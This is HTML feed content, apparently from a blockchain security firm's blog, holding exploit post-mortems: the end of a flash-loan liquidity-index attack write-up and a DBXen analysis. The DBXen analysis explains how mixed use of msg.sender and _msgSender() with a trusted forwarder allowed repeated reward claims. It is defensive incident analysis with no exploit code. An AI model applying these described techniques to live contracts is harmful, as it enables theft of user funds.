https://substackcdn.com/image/fetch/$s_!eWSv!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e6943f8-d515-4544-97ea-642947d1d424_2180x820.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!eWSv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e6943f8-d515-4544-97ea-642947d1d424_2180x820.png" width="1456" height="548" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4e6943f8-d515-4544-97ea-642947d1d424_2180x820.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:548,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:473474,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/193241153?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e6943f8-d515-4544-97ea-642947d1d424_2180x820.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!eWSv!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e6943f8-d515-4544-97ea-642947d1d424_2180x820.png 424w, https://substackcdn.com/image/fetch/$s_!eWSv!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e6943f8-d515-4544-97ea-642947d1d424_2180x820.png 848w, https://substackcdn.com/image/fetch/$s_!eWSv!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e6943f8-d515-4544-97ea-642947d1d424_2180x820.png 1272w, https://substackcdn.com/image/fetch/$s_!eWSv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e6943f8-d515-4544-97ea-642947d1d424_2180x820.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Borrowing, Depositing cbBTC, and Borrowing dUSD</figcaption></figure></div></li><li><p>Continued extracting <strong>cbBTC</strong> through <strong>repeated deposit and withdrawal cycles.</strong></p></li><li><p>Repaid the flash loan and transferred the borrowed <strong>dUSD</strong> to the attacker&#8217;s externally owned account (EOA)</p></li></ul><h2>Conclusion</h2><p>This incident highlights how flaws in index-based accounting under low-liquidity conditions can be exploited to create severe economic distortions. By reducing the <strong>cbBTC</strong> reserve to a near-empty state and artificially inflating the <code>liquidityIndex</code> through flash loan premiums, the attacker was able to overvalue collateral and borrow assets far beyond legitimate limits. The exploit underscores the importance of enforcing liquidity constraints and ensuring that critical accounting variables remain tightly aligned with actual underlying value.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[DBXen Exploit Analysis]]></title><description><![CDATA[On March 11, 2026, DBXen was exploited through a vulnerability on the custom logic, resulting in the loss of approximately $149,000.]]></description><link>https://blog.verichains.io/p/dbxen-exploit-analysis</link><guid isPermaLink="false">https://blog.verichains.io/p/dbxen-exploit-analysis</guid><dc:creator><![CDATA[f4tu]]></dc:creator><pubDate>Fri, 27 Mar 2026 09:01:44 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!bnhn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7988c1d0-3466-412a-8d26-d1839b5aae30_2794x1124.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On March 11, 2026, DBXen was exploited through a vulnerability on the custom logic, resulting in the loss of approximately $149,000. Let&#8217;s take a closer look at how the attack was carried out.</p><p><strong>Original Attacker : </strong></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><strong><a href="https://bscscan.com/address/0xe92fa2a5fef535479a91ab9ed90b26256ff276f1">https://bscscan.com/address/0xe92fa2a5fef535479a91ab9ed90b26256ff276f1</a></strong></p><p><strong><a href="https://etherscan.io/address/0x63150ac8e35c6c685e93ee4d7d5cb8eafb2f016b">https://etherscan.io/address/0x63150ac8e35c6c685e93ee4d7d5cb8eafb2f016b</a></strong></p><p><strong>Vulnerable Contract : </strong></p><p><strong><a href="https://bscscan.com/address/0x9caf6c4e5b9e3a6f83182befd782304c7a8ee6de">https://bscscan.com/address/0x9caf6c4e5b9e3a6f83182befd782304c7a8ee6de</a></strong></p><p><strong><a href="https://etherscan.io/address/0xf5c80c305803280b587f8cabbccdc4d9bf522abd">https://etherscan.io/address/0xf5c80c305803280b587f8cabbccdc4d9bf522abd</a></strong></p><p><strong>Attack Tx : </strong></p><p><strong><a href="https://bscscan.com/tx/0xe66e54586827d6a9e1c75bd1ea42fa60891ad341909d29ec896253ee2365d366">https://bscscan.com/tx/0xe66e54586827d6a9e1c75bd1ea42fa60891ad341909d29ec896253ee2365d366</a></strong></p><p><strong><a href="https://etherscan.io/tx/0x914a5af790e55b8ea140a79da931fc037cb4c4457704d184ad21f54fb808bc37">https://etherscan.io/tx/0x914a5af790e55b8ea140a79da931fc037cb4c4457704d184ad21f54fb808bc37</a></strong></p><h1><strong>Analysis</strong></h1><p>The contract is a reward distribution system where users burn XEN tokens to earn DBXen rewards and a share of protocol fees. The system operates in discrete time intervals called cycles. During each cycle, users can burn tokens via <code>burnBatch</code>, and their contribution is tracked through <code>accCycleBatchesBurned</code>. At the end of a cycle, rewards are distributed proportionally based on the number of batches burned relative to the total batches burned in that cycle.</p><p>In addition to rewards, users can earn fees generated by the protocol. These fees are distributed based on a user&#8217;s accumulated rewards and stake. The function <code>updateStats</code> plays a central role by settling all pending rewards, fees, and stake transitions for a user whenever they interact with the contract (e.g., claiming rewards or fees).</p><p>The vulnerability arises from inconsistent use of <code>msg.sender</code> and <code>_msgSender()</code> across the contract. Specifically, different parts of the same logical flow attribute user actions to different addresses.</p><p>In <code>bunBatch</code>, the contract uses <code>_msgSender()</code> when updating <code>accCycleBatchesBurned</code>, meaning the burned amount is credited to the actual user. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!G79D!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa2bc02e-a1ef-46b2-a564-378840f8e6c0_1534x490.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!G79D!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa2bc02e-a1ef-46b2-a564-378840f8e6c0_1534x490.png 424w, https://substackcdn.com/image/fetch/$s_!G79D!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa2bc02e-a1ef-46b2-a564-378840f8e6c0_1534x490.png 848w, https://substackcdn.com/image/fetch/$s_!G79D!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa2bc02e-a1ef-46b2-a564-378840f8e6c0_1534x490.png 1272w, https://substackcdn.com/image/fetch/$s_!G79D!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa2bc02e-a1ef-46b2-a564-378840f8e6c0_1534x490.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!G79D!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa2bc02e-a1ef-46b2-a564-378840f8e6c0_1534x490.png" width="1456" height="465" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fa2bc02e-a1ef-46b2-a564-378840f8e6c0_1534x490.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:465,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:152979,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/192286629?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa2bc02e-a1ef-46b2-a564-378840f8e6c0_1534x490.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!G79D!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa2bc02e-a1ef-46b2-a564-378840f8e6c0_1534x490.png 424w, https://substackcdn.com/image/fetch/$s_!G79D!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa2bc02e-a1ef-46b2-a564-378840f8e6c0_1534x490.png 848w, https://substackcdn.com/image/fetch/$s_!G79D!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa2bc02e-a1ef-46b2-a564-378840f8e6c0_1534x490.png 1272w, https://substackcdn.com/image/fetch/$s_!G79D!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa2bc02e-a1ef-46b2-a564-378840f8e6c0_1534x490.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>However, when interacting with the XEN token contract, the burn mechanism uses <code>msg.sender</code>, which corresponds to the forwarder in a meta-transaction context. As a result, the burn operation is executed on behalf of the forwarder, not the user.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!kSk2!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6f0b29d-202f-4db2-90f7-4a8dd645cc45_1734x736.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!kSk2!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6f0b29d-202f-4db2-90f7-4a8dd645cc45_1734x736.png 424w, https://substackcdn.com/image/fetch/$s_!kSk2!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6f0b29d-202f-4db2-90f7-4a8dd645cc45_1734x736.png 848w, https://substackcdn.com/image/fetch/$s_!kSk2!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6f0b29d-202f-4db2-90f7-4a8dd645cc45_1734x736.png 1272w, https://substackcdn.com/image/fetch/$s_!kSk2!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6f0b29d-202f-4db2-90f7-4a8dd645cc45_1734x736.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!kSk2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6f0b29d-202f-4db2-90f7-4a8dd645cc45_1734x736.png" width="1456" height="618" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b6f0b29d-202f-4db2-90f7-4a8dd645cc45_1734x736.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:618,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:164248,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/192286629?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6f0b29d-202f-4db2-90f7-4a8dd645cc45_1734x736.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!kSk2!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6f0b29d-202f-4db2-90f7-4a8dd645cc45_1734x736.png 424w, https://substackcdn.com/image/fetch/$s_!kSk2!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6f0b29d-202f-4db2-90f7-4a8dd645cc45_1734x736.png 848w, https://substackcdn.com/image/fetch/$s_!kSk2!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6f0b29d-202f-4db2-90f7-4a8dd645cc45_1734x736.png 1272w, https://substackcdn.com/image/fetch/$s_!kSk2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6f0b29d-202f-4db2-90f7-4a8dd645cc45_1734x736.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>First, the attacker calls <code>burnBatch</code> via a trusted forwarder. This results in <code>accCycleBatchesBurned</code> being incremented for the attacker, while <code>lastActiveCycle</code> is updated for the forwarder. At this point, the system already holds inconsistent state.</p><p>Next, the attacker calls either <code>claimRewards</code> or <code>claimFees</code>. Both of these functions internally call <code>updateStats</code>, which attempts to calculate pending rewards for the user.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!e5mD!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff83d7a57-d567-4e87-a164-7b2d78cac775_1432x1406.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!e5mD!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff83d7a57-d567-4e87-a164-7b2d78cac775_1432x1406.png 424w, https://substackcdn.com/image/fetch/$s_!e5mD!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff83d7a57-d567-4e87-a164-7b2d78cac775_1432x1406.png 848w, https://substackcdn.com/image/fetch/$s_!e5mD!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff83d7a57-d567-4e87-a164-7b2d78cac775_1432x1406.png 1272w, https://substackcdn.com/image/fetch/$s_!e5mD!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff83d7a57-d567-4e87-a164-7b2d78cac775_1432x1406.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!e5mD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff83d7a57-d567-4e87-a164-7b2d78cac775_1432x1406.png" width="1432" height="1406" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f83d7a57-d567-4e87-a164-7b2d78cac775_1432x1406.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1406,&quot;width&quot;:1432,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:303480,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/192286629?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff83d7a57-d567-4e87-a164-7b2d78cac775_1432x1406.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!e5mD!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff83d7a57-d567-4e87-a164-7b2d78cac775_1432x1406.png 424w, https://substackcdn.com/image/fetch/$s_!e5mD!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff83d7a57-d567-4e87-a164-7b2d78cac775_1432x1406.png 848w, https://substackcdn.com/image/fetch/$s_!e5mD!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff83d7a57-d567-4e87-a164-7b2d78cac775_1432x1406.png 1272w, https://substackcdn.com/image/fetch/$s_!e5mD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff83d7a57-d567-4e87-a164-7b2d78cac775_1432x1406.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Inside <code>updateStats</code>, the contract checks whether the current cycle is greater than <code>lastActiveCycle[account]</code> and whether the user has non-zero burned batches. Because <code>lastActiveCycle[attacker]</code> was never updated, this condition remains true even after rewards have already been calculated.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!QY6Q!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F021c6179-d18d-4abc-90e0-c6d17d494775_1768x410.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!QY6Q!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F021c6179-d18d-4abc-90e0-c6d17d494775_1768x410.png 424w, https://substackcdn.com/image/fetch/$s_!QY6Q!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F021c6179-d18d-4abc-90e0-c6d17d494775_1768x410.png 848w, https://substackcdn.com/image/fetch/$s_!QY6Q!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F021c6179-d18d-4abc-90e0-c6d17d494775_1768x410.png 1272w, https://substackcdn.com/image/fetch/$s_!QY6Q!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F021c6179-d18d-4abc-90e0-c6d17d494775_1768x410.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!QY6Q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F021c6179-d18d-4abc-90e0-c6d17d494775_1768x410.png" width="1456" height="338" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/021c6179-d18d-4abc-90e0-c6d17d494775_1768x410.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:338,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:101091,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/192286629?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F021c6179-d18d-4abc-90e0-c6d17d494775_1768x410.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!QY6Q!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F021c6179-d18d-4abc-90e0-c6d17d494775_1768x410.png 424w, https://substackcdn.com/image/fetch/$s_!QY6Q!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F021c6179-d18d-4abc-90e0-c6d17d494775_1768x410.png 848w, https://substackcdn.com/image/fetch/$s_!QY6Q!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F021c6179-d18d-4abc-90e0-c6d17d494775_1768x410.png 1272w, https://substackcdn.com/image/fetch/$s_!QY6Q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F021c6179-d18d-4abc-90e0-c6d17d494775_1768x410.png 1456w" sizes="100vw" 